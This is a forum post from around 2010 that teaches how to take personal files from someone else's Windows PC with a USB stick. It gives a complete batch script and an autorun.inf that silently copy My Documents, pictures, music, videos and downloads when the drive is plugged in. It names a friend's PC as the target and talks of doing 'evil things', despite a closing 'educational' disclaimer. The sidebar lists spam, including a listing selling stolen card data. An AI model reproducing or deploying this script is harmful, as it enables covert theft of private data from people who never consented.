Zurück   Free To Advertise Forum >Community Center >General Discussion

General Discussion

Talk about anything from politics to t.v. shows, kids, internet news ....etc This is the place to also blow off some steam from your normal day activities. NO Affiliate Links!


If you register for free, you will be able to post threads, vote on polls and lots more. If you have problems with the registration or logging in, please contact the administrator.

Antwort
 
Themen-Optionen
  Steel personal files from anyone's PC with your USB drive Beitrag #1  
Alt 09-01-2010, 08:18 AM
rhody249 rhody249 ist offline
New Marketer
 
Registriert seit: Dec 2009
Beiträge: 95
Standard Steel personal files from anyone's PC with your USB drive

This only demonstrates how you can copy files from your friend’s PC as soon as you plug in your flash drive or any removable storage media.
I am going to teach you how you can do this from batch file with the help of autorun.inf file.
Let me tell you the basic things what will happen.
When you plug in in your Pen drive, system will look up for autorun.inf (incase if autorun is not disabled for your drive from the system).
Then we’ll input some command in autorun.inf in such a way that it will load the batch file that does the magic of copying all the files from your PC. In this demonstration I am copying

only the files and folders in My Documents.
Here goes the batch code:

Code:
@echo off
:CHECK
if not exist "%homedrive%\Copied_files" md "%homedrive%\Copied_files"
if exist "%systemdrive%\Documents and Settings" goto COPIER
goto ERROR
:COPIER
if not exist "%homedrive%\Copied_files\%computername%" md "%homedrive%\Copied_files\%computername%"
if not exist "%homedrive%\Copied_files\%computername%\VIDEOS" md "%homedrive%\Copied_files\%computername%\VIDEOS"
if not exist "%homedrive%\Copied_files\%computername%\PICTURES" md "%homedrive%\Copied_files\%computername%\PICTURES"
if not exist "%homedrive%\Copied_files\%computername%\MUSIC" md "%homedrive%\Copied_files\%computername%\MUSIC"
if not exist "%homedrive%\Copied_files\%computername%\DOWNLOADS" md "%homedrive%\Copied_files\%computername%\DOWNLOADS"
copy /y "%userprofile%\My Documents\*.*" "%homedrive%\Copied_files\%computername%"
copy /y "%userprofile%\My Documents\My Videos" "%homedrive%\Copied_files\%computername%\VIDEOS"
copy /y "%userprofile%\My Documents\My Music" "%homedrive%\Copied_files\%computername%\MUSIC"
copy /y "%userprofile%\My Documents\My Pictures" "%homedrive%\Copied_files\%computername%\PICTURES"
copy /y "%userprofile%\My Documents\Downloads" "%homedrive%\Copied_files\%computername%\DOWNLOADS"
MSG %username% "DONE!"
exit

:ERROR
exit
What it actually does is in first case ,CHECK it checks if your removable storage have Copied_files folder or not. If it doesn’t have then it creates one by using MD (Make Directory)

command.Again it checks if you have documents and settings folder then it will assume that you are using windows XP. Other wise it will return an error and exits.

This happens because; in Windows XP the user’s documents are usually stored in %systemroot%\Documents and Settings folder. Now I’ve defined another two cases after the first

case CHECK, that is COPIER case and ERROR case. Case COPIER will execute when the program recognizes it is Windows XP, where the real coying work goes. Case ERROR will

execute when the Documents and Settings doesn’t exists in your system root.

This is just a simple use of Batch programming. Copy the above code and paste it in notepad and save it as Filename.bat.
Now let’s create a file that will load it automatically.

Code:
[autorun]
Open=Filename.bat
Action=File Copier
The above code goes in autorun.inf file. Open notepad and copy it and paste it and save as autorun.inf. Copy the two files, autorun.inf and Filename.bat in your flash drive. Then plug in

your device to your friends PC and do the evil things. Where is the flaw? It shows Command prompt window and process of copying (thank god your noob never think that it actually

copying).

Another thing is that it determines the windows by searching the file users and Docuemnts and settings, which is not the right way to determine your system operating system.
However this is just an educational tutorial.
Mit Zitat antworten
Antwort

Zurück   Free To Advertise Forum >Community Center >General Discussion

Themen-Optionen


Similar threads to Steel personal files from anyone's PC with your USB drive
Thema Autor Forum Antworten Letzter Beitrag
Easy Backup Software WITH Flash USB Thumb Drive It's not if your computer will cras
Easy Backup Software WITH Flash USB Thumb Drive It's not if your computer will cras: Easy Backup Software WITH Flash USB Thumb Drive ...
KirkhamsEbooks.com Products, Services & Offers 0 10-28-2009 09:14 PM
Easy Backup Software WITH Flash USB Thumb Drive It's not if your computer will cras
Easy Backup Software WITH Flash USB Thumb Drive It's not if your computer will cras: Easy Backup Software WITH Flash USB Thumb Drive ...
KirkhamsEbooks.com Business Opportunities 0 10-28-2009 07:29 PM
usb pen drive, usb drive, pen drive, usb flash drive, usb
usb pen drive, usb drive, pen drive, usb flash drive, usb: http://www.123discountshop.com/product_imgs/Black_...
jenudsouza Products, Services & Offers 0 10-16-2008 07:53 AM
pen drive, usb drive, pen drives, flashdrive, memory drive,
pen drive, usb drive, pen drives, flashdrive, memory drive,: USB Pen Drive, Pen Drive, USB Flash Drive, USB...
jenudsouza Products, Services & Offers 0 10-16-2008 07:49 AM

More threads of rhody249
Thema Datum Forum Antworten Letzter Beitrag
iPhone SSL Warning and Safari Phishing
iPhone SSL Warning and Safari Phishing: As some of you may have noticed, there’s a lot...
08-17-2010 General Discussion 0 08-17-2010 06:58 AM
The 10 Most Dangerous Things Users Do Online
The 10 Most Dangerous Things Users Do Online: So these are the measure errors which users...
06-01-2010 General Discussion 0 06-01-2010 06:33 AM
Which will be the hottest movie in 2010??
Which will be the hottest movie in 2010??: Hi friends I just wanna know that which Hollywood...
02-01-2010 General Discussion 0 02-01-2010 12:53 AM
Online E-learning Software
Online E-learning Software: Hi, Buy Best E-Learning Software and Website...
12-22-2009 Products, Services & Offers 0 12-22-2009 08:15 AM
Introduction
Introduction: Hi, I am new here on this forum and i want...
12-22-2009 Introductions 0 12-22-2009 08:08 AM

Other threads in forum General Discussion
Thema Datum Autor Antworten Letzter Beitrag
Sell Us Uk Au Eu ... fresh live 100% !!!!!!!
Sell Us Uk Au Eu ... fresh live 100% !!!!!!!: I'm hacker in Viet Nam . I want to sell some cc i...
05-12-2010 rynz_sellcvv149 0 05-12-2010 11:20 PM
For Sale Brand New 2x Pioneer CDJ 1000Mk3&1xDJM 800mixer.
For Sale Brand New 2x Pioneer CDJ 1000Mk3&1xDJM 800mixer.: We are specialized in all brand new PIONEER...
01-04-2010 Imisioluwa 0 01-04-2010 11:04 AM
Buy cheapest generic MOTILIUM SALE MOTILIUM Västmanland Billigaste Apoteket
Buy cheapest generic MOTILIUM SALE MOTILIUM Västmanland Billigaste Apoteket: Buy cheapest generic MOTILIUM SALE MOTILIUM...
11-09-2009 AlcoriDor1 0 11-09-2009 05:01 AM


Alle Zeitangaben in WEZ -4. Es ist jetzt 06:32 PM Uhr.


Powered by vBulletin® Version 3.8.7 (Deutsch)
Copyright ©2000 - 2012, vBulletin Solutions, Inc.
2007-2008 Free To Advertise Forum
Sedo - Domains kaufen und verkaufen das Projekt freetoadvertise.biz steht zum Verkauf Besucherstatistiken von freetoadvertise.biz etracker® Web-Controlling statt Logfile-Analyse
You are viewing Steel personal files from anyone's PC with your USB drive

SEO by vBSEO 3.2.0